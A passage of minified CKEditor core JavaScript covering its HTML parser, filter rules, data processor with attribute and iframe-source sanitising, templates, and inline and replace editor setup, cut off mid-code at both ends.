d();v||B||(a=a.replace(/[\t\r\n ]{2,}|[\t\r\n]/g," "));a=new CKEDITOR.htmlParser.text(a);if(r(t,a))this.onTagOpen(l,{},0,1);t.add(a)}};q.onCDATA=function(a){t.add(new CKEDITOR.htmlParser.cdata(a))};q.onComment=function(a){k();d();t.add(new CKEDITOR.htmlParser.comment(a))};q.parse(m);for(k();t!=p;)n(t,t.parent,1);g(p);return p};CKEDITOR.htmlParser.fragment.prototype={type:CKEDITOR.NODE_DOCUMENT_FRAGMENT,add:function(a,b){isNaN(b)&&(b=this.children.length);var c=0<b?this.children[b-1]:null;if(c){if(a._.isBlockLike&&
c.type==CKEDITOR.NODE_TEXT&&(c.value=CKEDITOR.tools.rtrim(c.value),0===c.value.length)){this.children.pop();this.add(a);return}c.next=a}a.previous=c;a.parent=this;this.children.splice(b,0,a);this._.hasInlineStarted||(this._.hasInlineStarted=a.type==CKEDITOR.NODE_TEXT||a.type==CKEDITOR.NODE_ELEMENT&&!a._.isBlockLike)},filter:function(a,b){b=this.getFilterContext(b);a.onRoot(b,this);this.filterChildren(a,!1,b)},filterChildren:function(a,b,c){if(this.childrenFilteredBy!=a.id){c=this.getFilterContext(c);
if(b&&!this.parent)a.onRoot(c,this);this.childrenFilteredBy=a.id;for(b=0;b<this.children.length;b++)!1===this.children[b].filter(a,c)&&b--}},writeHtml:function(a,b){b&&this.filter(b);this.writeChildrenHtml(a)},writeChildrenHtml:function(a,b,c){var d=this.getFilterContext();if(c&&!this.parent&&b)b.onRoot(d,this);b&&this.filterChildren(b,!1,d);b=0;c=this.children;for(d=c.length;b<d;b++)c[b].writeHtml(a)},forEach:function(a,b,c){if(!(c||b&&this.type!=b))var d=a(this);if(!1!==d){c=this.children;for(var e=
0;e<c.length;e++)d=c[e],d.type==CKEDITOR.NODE_ELEMENT?d.forEach(a,b):b&&d.type!=b||a(d)}},getFilterContext:function(a){return a||{}}}})();"use strict";(function(){function a(){this.rules=[]}function f(e,b,c,f){var h,l;for(h in b)(l=e[h])||(l=e[h]=new a),l.add(b[h],c,f)}CKEDITOR.htmlParser.filter=CKEDITOR.tools.createClass({$:function(e){this.id=CKEDITOR.tools.getNextNumber();this.elementNameRules=new a;this.attributeNameRules=new a;this.elementsRules={};this.attributesRules={};this.textRules=new a;
this.commentRules=new a;this.rootRules=new a;e&&this.addRules(e,10)},proto:{addRules:function(a,b){var c;"number"==typeof b?c=b:b&&"priority"in b&&(c=b.priority);"number"!=typeof c&&(c=10);"object"!=typeof b&&(b={});a.elementNames&&this.elementNameRules.addMany(a.elementNames,c,b);a.attributeNames&&this.attributeNameRules.addMany(a.attributeNames,c,b);a.elements&&f(this.elementsRules,a.elements,c,b);a.attributes&&f(this.attributesRules,a.attributes,c,b);a.text&&this.textRules.add(a.text,c,b);a.comment&&
this.commentRules.add(a.comment,c,b);a.root&&this.rootRules.add(a.root,c,b)},applyTo:function(a){a.filter(this)},onElementName:function(a,b){return this.elementNameRules.execOnName(a,b)},onAttributeName:function(a,b){return this.attributeNameRules.execOnName(a,b)},onText:function(a,b,c){return this.textRules.exec(a,b,c)},onComment:function(a,b,c){return this.commentRules.exec(a,b,c)},onRoot:function(a,b){return this.rootRules.exec(a,b)},onElement:function(a,b){for(var c=[this.elementsRules["^"],this.elementsRules[b.name],
this.elementsRules.$],f,h=0;3>h;h++)if(f=c[h]){f=f.exec(a,b,this);if(!1===f)return null;if(f&&f!=b)return this.onNode(a,f);if(b.parent&&!b.name)break}return b},onNode:function(a,b){var c=b.type;return c==CKEDITOR.NODE_ELEMENT?this.onElement(a,b):c==CKEDITOR.NODE_TEXT?new CKEDITOR.htmlParser.text(this.onText(a,b.value,b)):c==CKEDITOR.NODE_COMMENT?new CKEDITOR.htmlParser.comment(this.onComment(a,b.value,b)):null},onAttribute:function(a,b,c,f){return(c=this.attributesRules[c])?c.exec(a,f,b,this):f}}});
CKEDITOR.htmlParser.filterRulesGroup=a;a.prototype={add:function(a,b,c){this.rules.splice(this.findIndex(b),0,{value:a,priority:b,options:c})},addMany:function(a,b,c){for(var f=[this.findIndex(b),0],h=0,l=a.length;h<l;h++)f.push({value:a[h],priority:b,options:c});this.rules.splice.apply(this.rules,f)},findIndex:function(a){for(var b=this.rules,c=b.length-1;0<=c&&a<b[c].priority;)c--;return c+1},exec:function(a,b){var c=b instanceof CKEDITOR.htmlParser.node||b instanceof CKEDITOR.htmlParser.fragment,
f=Array.prototype.slice.call(arguments,1),h=this.rules,l=h.length,d,k,g,n;for(n=0;n<l;n++)if(c&&(d=b.type,k=b.name),g=h[n],!(a.nonEditable&&!g.options.applyToAll||a.nestedEditable&&g.options.excludeNestedEditable)){g=g.value.apply(null,f);if(!1===g||c&&g&&(g.name!=k||g.type!=d))return g;null!=g&&(f[0]=b=g)}return b},execOnName:function(a,b){for(var c=0,f=this.rules,h=f.length,l;b&&c<h;c++)l=f[c],a.nonEditable&&!l.options.applyToAll||a.nestedEditable&&l.options.excludeNestedEditable||(b=b.replace(l.value[0],
l.value[1]));return b}}})();(function(){function a(a,d){function g(a){return a||CKEDITOR.env.needsNbspFiller?new CKEDITOR.htmlParser.text(" "):new CKEDITOR.htmlParser.element("br",{"data-cke-bogus":1})}function f(a,d){return function(c){if(c.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var f=[],h=e(c),n,C;if(h)for(k(h,1)&&f.push(h);h;)m(h)&&(n=b(h))&&k(n)&&((C=b(n))&&!m(C)?f.push(n):(g(l).insertAfter(n),n.remove())),h=h.previous;for(h=0;h<f.length;h++)f[h].remove();if(f=!a||!1!==("function"==typeof d?d(c):
d))l||CKEDITOR.env.needsBrFiller||c.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT?l||CKEDITOR.env.needsBrFiller||!(7<document.documentMode||c.name in CKEDITOR.dtd.tr||c.name in CKEDITOR.dtd.$listItem)?(f=e(c),f=!f||"form"==c.name&&"input"==f.name):f=!1:f=!1;f&&c.add(g(a))}}}function k(a,b){if((!l||CKEDITOR.env.needsBrFiller)&&a.type==CKEDITOR.NODE_ELEMENT&&"br"==a.name&&!a.attributes["data-cke-eol"])return!0;var d;return a.type==CKEDITOR.NODE_TEXT&&(d=a.value.match(x))&&(d.index&&((new CKEDITOR.htmlParser.text(a.value.substring(0,
d.index))).insertBefore(a),a.value=d[0]),!CKEDITOR.env.needsBrFiller&&l&&(!b||a.parent.name in C)||!l&&((d=a.previous)&&"br"==d.name||!d||m(d)))?!0:!1}var n={elements:{}},l="html"==d,C=CKEDITOR.tools.extend({},y),z;for(z in C)"#"in B[z]||delete C[z];for(z in C)n.elements[z]=f(l,a.config.fillEmptyBlocks);n.root=f(l,!1);n.elements.br=function(a){return function(d){if(d.parent.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var e=d.attributes;if("data-cke-bogus"in e||"data-cke-eol"in e)delete e["data-cke-bogus"];
else{for(e=d.next;e&&c(e);)e=e.next;var f=b(d);!e&&m(d.parent)?h(d.parent,g(a)):m(e)&&f&&!m(f)&&g(a).insertBefore(e)}}}}(l);return n}function f(a,b){return a!=CKEDITOR.ENTER_BR&&!1!==b?a==CKEDITOR.ENTER_DIV?"div":"p":!1}function e(a){for(a=a.children[a.children.length-1];a&&c(a);)a=a.previous;return a}function b(a){for(a=a.previous;a&&c(a);)a=a.previous;return a}function c(a){return a.type==CKEDITOR.NODE_TEXT&&!CKEDITOR.tools.trim(a.value)||a.type==CKEDITOR.NODE_ELEMENT&&a.attributes["data-cke-bookmark"]}
function m(a){return a&&(a.type==CKEDITOR.NODE_ELEMENT&&a.name in y||a.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT)}function h(a,b){var d=a.children[a.children.length-1];a.children.push(b);b.parent=a;d&&(d.next=b,b.previous=d)}function l(a){a=a.attributes;"false"!=a.contenteditable&&(a["data-cke-editable"]=a.contenteditable?"true":1);a.contenteditable="false"}function d(a){a=a.attributes;switch(a["data-cke-editable"]){case "true":a.contenteditable="true";break;case "1":delete a.contenteditable}}function k(a){return a.replace(E,
function(a,b,d){return"\x3c"+b+d.replace(J,function(a,b){return H.test(b)&&-1==d.indexOf("data-cke-saved-"+b)?" data-cke-saved-"+a+" data-cke-"+CKEDITOR.rnd+"-"+a:a})+"\x3e"})}function g(a,b){return a.replace(b,function(a,b,d){0===a.indexOf("\x3ctextarea")&&(a=b+w(d).replace(/</g,"\x26lt;").replace(/>/g,"\x26gt;")+"\x3c/textarea\x3e");return"\x3ccke:encoded\x3e"+encodeURIComponent(a)+"\x3c/cke:encoded\x3e"})}function n(a){return a.replace(I,function(a,b){return decodeURIComponent(b)})}function r(a){return a.replace(/\x3c!--(?!{cke_protected})[\s\S]+?--\x3e/g,
function(a){return"\x3c!--"+t+"{C}"+encodeURIComponent(a).replace(/--/g,"%2D%2D")+"--\x3e"})}function w(a){return a.replace(/\x3c!--\{cke_protected\}\{C\}([\s\S]+?)--\x3e/g,function(a,b){return decodeURIComponent(b)})}function q(a,b){var d=b._.dataStore;return a.replace(/\x3c!--\{cke_protected\}([\s\S]+?)--\x3e/g,function(a,b){return decodeURIComponent(b)}).replace(/\{cke_protected_(\d+)\}/g,function(a,b){return d&&d[b]||""})}function p(a,b){var d=[],c=b.config.protectedSource,g=b._.dataStore||(b._.dataStore=
{id:1}),e=/<\!--\{cke_temp(comment)?\}(\d*?)--\x3e/g,c=[/<script[\s\S]*?(<\/script>|$)/gi,/<noscript[\s\S]*?<\/noscript>/gi,/<meta[\s\S]*?\/?>/gi].concat(c);a=a.replace(/\x3c!--[\s\S]*?--\x3e/g,function(a){return"\x3c!--{cke_tempcomment}"+(d.push(a)-1)+"--\x3e"});for(var f=0;f<c.length;f++)a=a.replace(c[f],function(a){a=a.replace(e,function(a,b,c){return d[c]});return/cke_temp(comment)?/.test(a)?a:"\x3c!--{cke_temp}"+(d.push(a)-1)+"--\x3e"});a=a.replace(e,function(a,b,c){return"\x3c!--"+t+(b?"{C}":
"")+encodeURIComponent(d[c]).replace(/--/g,"%2D%2D")+"--\x3e"});a=a.replace(/<\w+(?:\s+(?:(?:[^\s=>]+\s*=\s*(?:[^'"\s>]+|'[^']*'|"[^"]*"))|[^\s=\/>]+))+\s*\/?>/g,function(a){return a.replace(/\x3c!--\{cke_protected\}([^>]*)--\x3e/g,function(a,b){g[g.id]=decodeURIComponent(b);return"{cke_protected_"+g.id++ +"}"})});return a=a.replace(/<(title|iframe|textarea)([^>]*)>([\s\S]*?)<\/\1>/g,function(a,d,c,g){return"\x3c"+d+c+"\x3e"+q(w(g),b)+"\x3c/"+d+"\x3e"})}var u;CKEDITOR.htmlDataProcessor=function(b){var d,
c,e=this;this.editor=b;this.dataFilter=d=new CKEDITOR.htmlParser.filter;this.htmlFilter=c=new CKEDITOR.htmlParser.filter;this.writer=new CKEDITOR.htmlParser.basicWriter;d.addRules(z);d.addRules(A,{applyToAll:!0});d.addRules(a(b,"data"),{applyToAll:!0});c.addRules(D);c.addRules(G,{applyToAll:!0});c.addRules(a(b,"html"),{applyToAll:!0});b.on("toHtml",function(a){a=a.data;var d=a.dataValue,c,d=u(d),d=p(d,b),d=g(d,M),d=k(d),d=g(d,F),d=d.replace(K,"$1cke:$2"),d=d.replace(L,"\x3ccke:$1$2\x3e\x3c/cke:$1\x3e"),
d=d.replace(/(<pre\b[^>]*>)(\r\n|\n)/g,"$1$2$2"),d=d.replace(/([^a-z0-9<\-])(on\w{3,})(?!>)/gi,"$1data-cke-"+CKEDITOR.rnd+"-$2");c=a.context||b.editable().getName();var e;CKEDITOR.env.ie&&9>CKEDITOR.env.version&&"pre"==c&&(c="div",d="\x3cpre\x3e"+d+"\x3c/pre\x3e",e=1);c=b.document.createElement(c);c.setHtml("a"+d);d=c.getHtml().substr(1);d=d.replace(new RegExp("data-cke-"+CKEDITOR.rnd+"-","ig"),"");e&&(d=d.replace(/^<pre>|<\/pre>$/gi,""));d=d.replace(C,"$1$2");d=n(d);d=w(d);c=!1===a.fixForBody?!1:
f(a.enterMode,b.config.autoParagraph);d=CKEDITOR.htmlParser.fragment.fromHtml(d,a.context,c);c&&(e=d,!e.children.length&&CKEDITOR.dtd[e.name][c]&&(c=new CKEDITOR.htmlParser.element(c),e.add(c)));a.dataValue=d},null,null,5);b.on("toHtml",function(a){a.data.filter.applyTo(a.data.dataValue,!0,a.data.dontFilter,a.data.enterMode)&&b.fire("dataFiltered")},null,null,6);b.on("toHtml",function(a){a.data.dataValue.filterChildren(e.dataFilter,!0)},null,null,10);b.on("toHtml",function(a){a=a.data;var b=a.dataValue,
d=new CKEDITOR.htmlParser.basicWriter;b.writeChildrenHtml(d);b=d.getHtml(!0);a.dataValue=r(b)},null,null,15);b.on("toDataFormat",function(a){var d=a.data.dataValue;a.data.enterMode!=CKEDITOR.ENTER_BR&&(d=d.replace(/^<br *\/?>/i,""));a.data.dataValue=CKEDITOR.htmlParser.fragment.fromHtml(d,a.data.context,f(a.data.enterMode,b.config.autoParagraph))},null,null,5);b.on("toDataFormat",function(a){a.data.dataValue.filterChildren(e.htmlFilter,!0)},null,null,10);b.on("toDataFormat",function(a){a.data.filter.applyTo(a.data.dataValue,
!1,!0)},null,null,11);b.on("toDataFormat",function(a){var d=a.data.dataValue,c=e.writer;c.reset();d.writeChildrenHtml(c);d=c.getHtml(!0);d=w(d);d=q(d,b);a.data.dataValue=d},null,null,15)};CKEDITOR.htmlDataProcessor.prototype={toHtml:function(a,b,d,c){var g=this.editor,e,f,k,h;b&&"object"==typeof b?(e=b.context,d=b.fixForBody,c=b.dontFilter,f=b.filter,k=b.enterMode,h=b.protectedWhitespaces):e=b;e||null===e||(e=g.editable().getName());return g.fire("toHtml",{dataValue:a,context:e,fixForBody:d,dontFilter:c,
filter:f||g.filter,enterMode:k||g.enterMode,protectedWhitespaces:h}).dataValue},toDataFormat:function(a,b){var d,c,g;b&&(d=b.context,c=b.filter,g=b.enterMode);d||null===d||(d=this.editor.editable().getName());return this.editor.fire("toDataFormat",{dataValue:a,filter:c||this.editor.filter,context:d,enterMode:g||this.editor.enterMode}).dataValue}};var x=/(?: |\xa0)$/,t="{cke_protected}",B=CKEDITOR.dtd,v="caption colgroup col thead tfoot tbody".split(" "),y=CKEDITOR.tools.extend({},B.$blockLimit,
B.$block),z={elements:{input:l,textarea:l}},A={attributeNames:[[/^on/,"data-cke-pa-on"],[/^srcdoc/,"data-cke-pa-srcdoc"],[/^data-cke-expando$/,""]],elements:{iframe:function(a){if(a.attributes&&a.attributes.src){var b=a.attributes.src.toLowerCase().replace(/[^a-z]/gi,"");if(0===b.indexOf("javascript")||0===b.indexOf("data"))a.attributes["data-cke-pa-src"]=a.attributes.src,delete a.attributes.src}}}},D={elements:{embed:function(a){var b=a.parent;if(b&&"object"==b.name){var d=b.attributes.width,b=b.attributes.height;
d&&(a.attributes.width=d);b&&(a.attributes.height=b)}},a:function(a){var b=a.attributes;if(!(a.children.length||b.name||b.id||a.attributes["data-cke-saved-name"]))return!1}}},G={elementNames:[[/^cke:/,""],[/^\?xml:namespace$/,""]],attributeNames:[[/^data-cke-(saved|pa)-/,""],[/^data-cke-.*/,""],["hidefocus",""]],elements:{$:function(a){var b=a.attributes;if(b){if(b["data-cke-temp"])return!1;for(var d=["name","href","src"],c,g=0;g<d.length;g++)c="data-cke-saved-"+d[g],c in b&&delete b[d[g]]}return a},
table:function(a){a.children.slice(0).sort(function(a,b){var d,c;a.type==CKEDITOR.NODE_ELEMENT&&b.type==a.type&&(d=CKEDITOR.tools.indexOf(v,a.name),c=CKEDITOR.tools.indexOf(v,b.name));-1<d&&-1<c&&d!=c||(d=a.parent?a.getIndex():-1,c=b.parent?b.getIndex():-1);return d>c?1:-1})},param:function(a){a.children=[];a.isEmpty=!0;return a},span:function(a){"Apple-style-span"==a.attributes["class"]&&delete a.name},html:function(a){delete a.attributes.contenteditable;delete a.attributes["class"]},body:function(a){delete a.attributes.spellcheck;
delete a.attributes.contenteditable},style:function(a){var b=a.children[0];b&&b.value&&(b.value=CKEDITOR.tools.trim(b.value));a.attributes.type||(a.attributes.type="text/css")},title:function(a){var b=a.children[0];!b&&h(a,b=new CKEDITOR.htmlParser.text);b.value=a.attributes["data-cke-title"]||""},input:d,textarea:d},attributes:{"class":function(a){return CKEDITOR.tools.ltrim(a.replace(/(?:^|\s+)cke_[^\s]*/g,""))||!1}}};CKEDITOR.env.ie&&(G.attributes.style=function(a){return a.replace(/(^|;)([^\:]+)/g,
function(a){return a.toLowerCase()})});var E=/<(a|area|img|input|source)\b([^>]*)>/gi,J=/([\w-:]+)\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|(?:[^ "'>]+))/gi,H=/^(href|src|name)$/i,F=/(?:<style(?=[ >])[^>]*>[\s\S]*?<\/style>)|(?:<(:?link|meta|base)[^>]*>)/gi,M=/(<textarea(?=[ >])[^>]*>)([\s\S]*?)(?:<\/textarea>)/gi,I=/<cke:encoded>([^<]*)<\/cke:encoded>/gi,K=/(<\/?)((?:object|embed|param|html|body|head|title)([\s][^>]*)?>)/gi,C=/(<\/?)cke:((?:html|body|head|title)[^>]*>)/gi,L=/<cke:(param|embed)([^>]*?)\/?>(?!\s*<\/cke:\1)/gi;
u=function(){function a(d){return CKEDITOR.tools.array.reduce(d.split(""),function(a,d){var c=d.toLowerCase(),g=d.toUpperCase(),e=b(c);c!==g&&(e+="|"+b(g));return a+("("+e+")")},"")}function b(a){var d;d=a.charCodeAt(0);var c=d.toString(16);d={htmlCode:"\x26#"+d+";?",hex:"\x26#x0*"+c+";?",entity:{"\x3c":"\x26lt;","\x3e":"\x26gt;",":":"\x26colon;"}[a]};for(var g in d)d[g]&&(a+="|"+d[g]);return a}var d=new RegExp("("+a("\x3ccke:encoded\x3e")+"(.*?)"+a("\x3c/cke:encoded\x3e")+")|("+a("\x3c")+a("/")+
"?"+a("cke:encoded\x3e")+")","gi"),c=new RegExp("(("+a("{cke_protected")+")(_[0-9]*)?"+a("}")+")","gi");return function(a){return a.replace(d,"").replace(c,"")}}()})();"use strict";CKEDITOR.htmlParser.element=function(a,f){this.name=a;this.attributes=f||{};this.children=[];var e=a||"",b=e.match(/^cke:(.*)/);b&&(e=b[1]);e=!!(CKEDITOR.dtd.$nonBodyContent[e]||CKEDITOR.dtd.$block[e]||CKEDITOR.dtd.$listItem[e]||CKEDITOR.dtd.$tableContent[e]||CKEDITOR.dtd.$nonEditable[e]||"br"==e);this.isEmpty=!!CKEDITOR.dtd.$empty[a];
this.isUnknown=!CKEDITOR.dtd[a];this._={isBlockLike:e,hasInlineStarted:this.isEmpty||!e}};CKEDITOR.htmlParser.cssStyle=function(a){var f={};((a instanceof CKEDITOR.htmlParser.element?a.attributes.style:a)||"").replace(/"/g,'"').replace(/\s*([^ :;]+)\s*:\s*([^;]+)\s*(?=;|$)/g,function(a,b,c){"font-family"==b&&(c=c.replace(/["']/g,""));f[b.toLowerCase()]=c});return{rules:f,populate:function(a){var b=this.toString();b&&(a instanceof CKEDITOR.dom.element?a.setAttribute("style",b):a instanceof CKEDITOR.htmlParser.element?
a.attributes.style=b:a.style=b)},toString:function(){var a=[],b;for(b in f)f[b]&&a.push(b,":",f[b],";");return a.join("")}}};(function(){function a(a){return function(c){return c.type==CKEDITOR.NODE_ELEMENT&&("string"==typeof a?c.name==a:c.name in a)}}var f=function(a,c){a=a[0];c=c[0];return a<c?-1:a>c?1:0},e=CKEDITOR.htmlParser.fragment.prototype;CKEDITOR.htmlParser.element.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_ELEMENT,add:e.add,clone:function(){return new CKEDITOR.htmlParser.element(this.name,
this.attributes)},filter:function(a,c){var e=this,f,l;c=e.getFilterContext(c);if(!e.parent)a.onRoot(c,e);for(;;){f=e.name;if(!(l=a.onElementName(c,f)))return this.remove(),!1;e.name=l;if(!(e=a.onElement(c,e)))return this.remove(),!1;if(e!==this)return this.replaceWith(e),!1;if(e.name==f)break;if(e.type!=CKEDITOR.NODE_ELEMENT)return this.replaceWith(e),!1;if(!e.name)return this.replaceWithChildren(),!1}f=e.attributes;var d,k;for(d in f){for(l=f[d];;)if(k=a.onAttributeName(c,d))if(k!=d)delete f[d],
d=k;else break;else{delete f[d];break}k&&(!1===(l=a.onAttribute(c,e,k,l))?delete f[k]:f[k]=l)}e.isEmpty||this.filterChildren(a,!1,c);return!0},filterChildren:e.filterChildren,writeHtml:function(a,c){c&&this.filter(c);var e=this.name,h=[],l=this.attributes,d,k;a.openTag(e,l);for(d in l)h.push([d,l[d]]);a.sortAttributes&&h.sort(f);d=0;for(k=h.length;d<k;d++)l=h[d],a.attribute(l[0],l[1]);a.openTagClose(e,this.isEmpty);this.writeChildrenHtml(a);this.isEmpty||a.closeTag(e)},writeChildrenHtml:e.writeChildrenHtml,
replaceWithChildren:function(){for(var a=this.children,c=a.length;c;)a[--c].insertAfter(this);this.remove()},forEach:e.forEach,getFirst:function(b){if(!b)return this.children.length?this.children[0]:null;"function"!=typeof b&&(b=a(b));for(var c=0,e=this.children.length;c<e;++c)if(b(this.children[c]))return this.children[c];return null},getHtml:function(){var a=new CKEDITOR.htmlParser.basicWriter;this.writeChildrenHtml(a);return a.getHtml()},setHtml:function(a){a=this.children=CKEDITOR.htmlParser.fragment.fromHtml(a).children;
for(var c=0,e=a.length;c<e;++c)a[c].parent=this},getOuterHtml:function(){var a=new CKEDITOR.htmlParser.basicWriter;this.writeHtml(a);return a.getHtml()},split:function(a){for(var c=this.children.splice(a,this.children.length-a),e=this.clone(),f=0;f<c.length;++f)c[f].parent=e;e.children=c;c[0]&&(c[0].previous=null);0<a&&(this.children[a-1].next=null);this.parent.add(e,this.getIndex()+1);return e},find:function(a,c){void 0===c&&(c=!1);var e=[],f;for(f=0;f<this.children.length;f++){var l=this.children[f];
"function"==typeof a&&a(l)?e.push(l):"string"==typeof a&&l.name===a&&e.push(l);c&&l.find&&(e=e.concat(l.find(a,c)))}return e},findOne:function(a,c){var e=null,f=CKEDITOR.tools.array.find(this.children,function(f){var d="function"===typeof a?a(f):f.name===a;if(d||!c)return d;f.children&&f.findOne&&(e=f.findOne(a,!0));return!!e});return e||f||null},addClass:function(a){if(!this.hasClass(a)){var c=this.attributes["class"]||"";this.attributes["class"]=c+(c?" ":"")+a}},removeClass:function(a){var c=this.attributes["class"];
c&&((c=CKEDITOR.tools.trim(c.replace(new RegExp("(?:\\s+|^)"+a+"(?:\\s+|$)")," ")))?this.attributes["class"]=c:delete this.attributes["class"])},hasClass:function(a){var c=this.attributes["class"];return c?(new RegExp("(?:^|\\s)"+a+"(?\x3d\\s|$)")).test(c):!1},getFilterContext:function(a){var c=[];a||(a={nonEditable:!1,nestedEditable:!1});a.nonEditable||"false"!=this.attributes.contenteditable?a.nonEditable&&!a.nestedEditable&&"true"==this.attributes.contenteditable&&c.push("nestedEditable",!0):c.push("nonEditable",
!0);if(c.length){a=CKEDITOR.tools.copy(a);for(var e=0;e<c.length;e+=2)a[c[e]]=c[e+1]}return a}},!0)})();(function(){var a=/{([^}]+)}/g;CKEDITOR.template=function(a){this.source="function"===typeof a?a:String(a)};CKEDITOR.template.prototype.output=function(f,e){var b=("function"===typeof this.source?this.source(f):this.source).replace(a,function(a,b){return void 0!==f[b]?f[b]:a});return e?e.push(b):b}})();delete CKEDITOR.loadFullCore;CKEDITOR.instances={};CKEDITOR.document=new CKEDITOR.dom.document(document);
CKEDITOR.add=function(a){function f(){CKEDITOR.currentInstance==a&&(CKEDITOR.currentInstance=null,CKEDITOR.fire("currentInstance"))}CKEDITOR.instances[a.name]=a;a.on("focus",function(){CKEDITOR.currentInstance!=a&&(CKEDITOR.currentInstance=a,CKEDITOR.fire("currentInstance"))});a.on("blur",f);a.on("destroy",f);CKEDITOR.fire("instance",null,a)};CKEDITOR.remove=function(a){delete CKEDITOR.instances[a.name]};(function(){var a={};CKEDITOR.addTemplate=function(f,e){var b=a[f];if(b)return b;b={name:f,source:e};
CKEDITOR.fire("template",b);return a[f]=new CKEDITOR.template(b.source)};CKEDITOR.getTemplate=function(f){return a[f]}})();(function(){var a=[];CKEDITOR.addCss=function(f){a.push(f)};CKEDITOR.getCss=function(){return a.join("\n")}})();CKEDITOR.on("instanceDestroyed",function(){CKEDITOR.tools.isEmpty(this.instances)&&CKEDITOR.fire("reset")});CKEDITOR.TRISTATE_ON=1;CKEDITOR.TRISTATE_OFF=2;CKEDITOR.TRISTATE_DISABLED=0;(function(){CKEDITOR.inline=function(a,f){a=CKEDITOR.editor._getEditorElement(a);if(!a)return null;
var e=new CKEDITOR.editor(f,a,CKEDITOR.ELEMENT_MODE_INLINE),b=a.is("textarea")?a:null;b?(e.setData(b.getValue(),null,!0),a=CKEDITOR.dom.element.createFromHtml('\x3cdiv contenteditable\x3d"'+!!e.readOnly+'" class\x3d"cke_textarea_inline"\x3e'+b.getValue()+"\x3c/div\x3e",CKEDITOR.document),a.insertAfter(b),b.hide(),b.$.form&&e._attachToForm()):(f&&"undefined"!==typeof f.readOnly&&!f.readOnly&&a.setAttribute("contenteditable","true"),e.setData(a.getHtml(),null,!0));e.on("loaded",function(){e.fire("uiReady");
e.editable(a);e.container=a;e.ui.contentsElement=a;e.setData(e.getData(1));e.resetDirty();e.fire("contentDom");e.mode="wysiwyg";e.fire("mode");e.status="ready";e.fireOnce("instanceReady");CKEDITOR.fire("instanceReady",null,e)},null,null,1E4);e.on("destroy",function(){var a=e.container;b&&a&&(a.clearCustomData(),a.remove());b&&b.show();e.element.clearCustomData();delete e.element});return e};CKEDITOR.inlineAll=function(){var a,f,e;for(e in CKEDITOR.dtd.$editable)for(var b=CKEDITOR.document.getElementsByTag(e),
c=0,m=b.count();c<m;c++)a=b.getItem(c),"true"==a.getAttribute("contenteditable")&&(f={element:a,config:{}},!1!==CKEDITOR.fire("inline",f)&&CKEDITOR.inline(a,f.config))};CKEDITOR.domReady(function(){!CKEDITOR.disableAutoInline&&CKEDITOR.inlineAll()})})();CKEDITOR.replaceClass="ckeditor";(function(){function a(a,c,m,h){a=CKEDITOR.editor._getEditorElement(a);if(!a)return null;var l=new CKEDITOR.editor(c,a,h);h==CKEDITOR.ELEMENT_MODE_REPLACE&&(a.setStyle("visibility","hidden"),l._.required=a.hasAttribute("required"),
a.removeAttribute("required"));m&&l.setData(m,null,!0);l.on("loaded",function(){l.isDestroyed()||l.isDetached()||(e(l),h==CKEDITOR.ELEMENT_MODE_REPLACE&&l.config.autoUpdateElement&&a.$.form&&l._attachToForm(),l.setMode(l.config.startupMode,function(){l.resetDirty();l.status="ready";l.fireOnce("instanceReady");CKEDITOR.fire("instanceReady",null,l)}))});l.on("destroy",f);return l}function f(){var a=this.container,c=this.element;a&&(a.clearCustomData(),a.remove());c&&(c.clearCustomData(),this.elementMode==
CKEDITOR.ELEMENT_MODE_REPLACE&&(c.show(),this._.required&&c.setAttribute("required","required")),delete this.element)}function e(a){var c=a.name,e=a.element,f=a.elementMode,l=a.fire("uiSpace",{space:"top",html:""}).html,d=a.fire("uiSpace",{space:"bottom",html:""}).html,k=new CKEDITOR.template('\x3c{outerEl} id\x3d"cke_{name}" class\x3d"{id} cke cke_reset cke_chrome cke_editor_{name} cke_{langDir} '+CKEDITOR.env.cssClass+'" dir\x3d"{langDir}" lang\x3d"{langCode}" role\x3d"application"'+(a.title?' aria-labelledby\x3d"cke_{name}_arialbl"':
"")+"\x3e"+(a.title?'\x3cspan id\x3d"cke_{name}_arialbl" class\x3d"cke_voice_label"\x3e{voiceLabel}\x3c/span\x3e':"")+'\x3c{outerEl} class\x3d"cke_inner cke_reset" role\x3d"presentation"\x3e{topHtml}\x3c{outerEl} id\x3d"{contentId}" class\x3d"cke_contents cke_reset" role\x3d"presentation"\x3e\x3c/{outerEl}\x3e{bottomHtml}\x3c/{outerEl}\x3e\x3c/{outerEl}\x3e'),c=CKEDITOR.dom.element.createFromHtml(k.output({id:a.id,name:c,langDir:a.lang.dir,langCode:a.langCode,voiceLabel:a.title,topHtml:l?'\x3cspan id\x3d"'+
a.ui.spaceId("top")+'" class\x3d"cke_top cke_reset_all" role\x3d"presentation" style\x3d"height:auto"\x3e'+l+"\x3c/span\x3e":"",contentId:a.ui.spaceId("contents"),bottomHtml:d?'\x3cspan id\x3d"'+a.ui.spaceId("bottom")+'" class\x3d"cke_bottom cke_reset_all" role\x3d"presentation"\x3e'+d+"\x3c/span\x3e":"",outerEl:CKEDITOR.env.ie?"span":"div"}));f==CKEDITOR.ELEMENT_MODE_REPLACE?(e.hide(),c.insertAfter(e)):e.append(c);a.container=c;a.ui.contentsElement=a.ui.space("contents");l&&a.ui.space("top").unselectable();
d&&a.ui.space("bottom").unselectable();e=a.config.width;f=a.config.height;e&&c.setStyle("width",CKEDITOR.tools.cssLength(e));f&&a.ui.space("contents").setStyle("height",CKEDITOR.tools.cssLength(f));c.disableContextMenu();CKEDITOR.env.webkit&&c.on("focus",function(){a.focus()});a.fireOnce("uiReady")}CKEDITOR.replace=function(b,c){return a(b,c,null,CKEDITOR.ELEMENT_MODE_REPLACE)};CKEDITOR.appendTo=function(b,c,e){return a(b,c,e,CKEDITOR.ELEMENT_MODE_APPENDTO)};CKEDITOR.replaceAll=function(){for(var a=
